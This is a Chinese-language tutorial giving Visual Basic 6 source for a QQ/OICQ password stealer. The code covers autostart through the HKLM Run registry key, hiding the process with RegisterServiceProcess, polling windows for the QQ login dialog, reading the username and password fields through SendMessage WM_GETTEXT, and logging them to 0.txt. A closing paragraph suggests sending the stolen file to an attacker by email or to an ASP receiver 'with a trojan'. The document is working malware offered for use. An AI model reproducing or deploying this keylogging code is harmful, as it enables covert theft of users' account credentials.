设计思路
我们知道QQ的密码框并没有进行特别的处理,也就是说用可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取,具体请看下面:
使用 Timer 控件,监视QQ。
用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取 得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 ComboBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。
由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:
首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。
程序编制
(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象
Private Declare CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDeor As Long
bInheritHandle As Long
End Type
Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&
建立判断程序是否多启动的过程
Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES
sa.bInheritHandle = 1
sa.lpSecurityDeor = 0
sa.nLength = Len(sa)
ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出
CloseHandle ynRun '退出程序前关闭内存映射文件
End
End If
End Sub
(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项
Declare RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
建立使程序自启动的过程
sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub
(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1 '隐藏
建立实现程序自身在关闭程序对话框中的隐藏的过程
Sub HideMyWin()
RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
End Sub
(4)即时监视是否运行了 OICQ
加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。
Private Sub Timer1_Timer()
EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
End Sub
声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中
Option Explicit
Declare EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口
Declare GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题
Declare GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得 类名
Declare GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄
Const GW_CHILD = 5 '寻找源窗口的第一个子窗口
Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口
Declare SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Dim buf As String
Dim nameall, name, passwordall, password As String
Dim i As Integer
Dim title, titleall, filepath As String
Public EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long
filepath = App.Path & "\0.txt" '0.txt 为保存帐号、密码的文件
If Dir(filepath) = "" Then
title = ""
titleall = ""
End If
length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length) '取得窗口的标题
If InStr(title, "OICQ用户登录") Then '判断是否为QQ窗口
Call GetZiWin(app_hwnd) '调用(5),取得 OICQ 窗口中的帐号、密码框的类名
End If
If title <> "" Then
If InStr(titleall, title) Then
EnumProc = 1
Else
titleall = titleall + title 'title 是指取得的窗口标题
If name <> "" Then '取得的帐号
If InStr(title, name) Then SaveFile '保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
End If
End If
End If
EnumProc = 1
End
(5)取得 OICQ 窗口中的用户名、密码框的类名
自定义取得子窗口类名的函数,写在 Module1.bas 文件中
我们知道 OICQ 主窗口的用户名的类名是 ComboBox,密码框的类名是 Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。
Public GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
'取得类名
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '进行判断
GetZiWin = GetWinText(window_hwnd) '调用(6),取得它们的值
Exit
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End
(6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值
自定义取得子窗口的值的函数,写在 Module1.bas 文件中
Public GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String
'通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
GetWinText = Left$(txt, txtlen)
If buf = "ComboBox" Then
name = GetWinText
If InStr(nameall, name) Then
i = 0
Else
nameall = nameall + name
i = i + 1
End If
Else
password = GetWinText
If InStr(passwordall, password) Then
i = 0
Else
passwordall = passwordall + password
i = i + 1
End If
End If
End
(7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。
自定义保存信息的过程,写在 Module1.bas 文件中
Sub SaveFile()
Dim file_num As Integer
Dim allstr As String
allstr = name & Space(5) & password & Space(5) & Now '保存帐号、密码、启动的时间
file_num = FreeFile
If Dir(filepath) = "" Then
Open filepath For Output As #file_num
Else
Open filepath For Append As #file_num
End If
Print #file_num, allstr
Close #file_num
End Sub
使用此软件后,在每次系统启动时该软件都会运行,监视QQ,当你打开QQ ,并输入密码,则该软件在软件所在目录记录里记下你的QQ帐号和密码,并保存在 0.txt 文件里,你只要双击 0.txt 文件就能看到帐号、密码.
补充说明:由于0.txt文件是保存在本地的,那么远程计算机要想知道对方的密码怎么办呢?我们可以通过邮 箱来实现.也就是把0.txt的文件通过电子邮件方式发送的指定的邮箱.还可以通过ASP来接受,利用一个FTP空间或者利用某网站,挂一个ASP文件上 去,再利用木马将账号密码发送到保存ASP文件的指定路径就行了。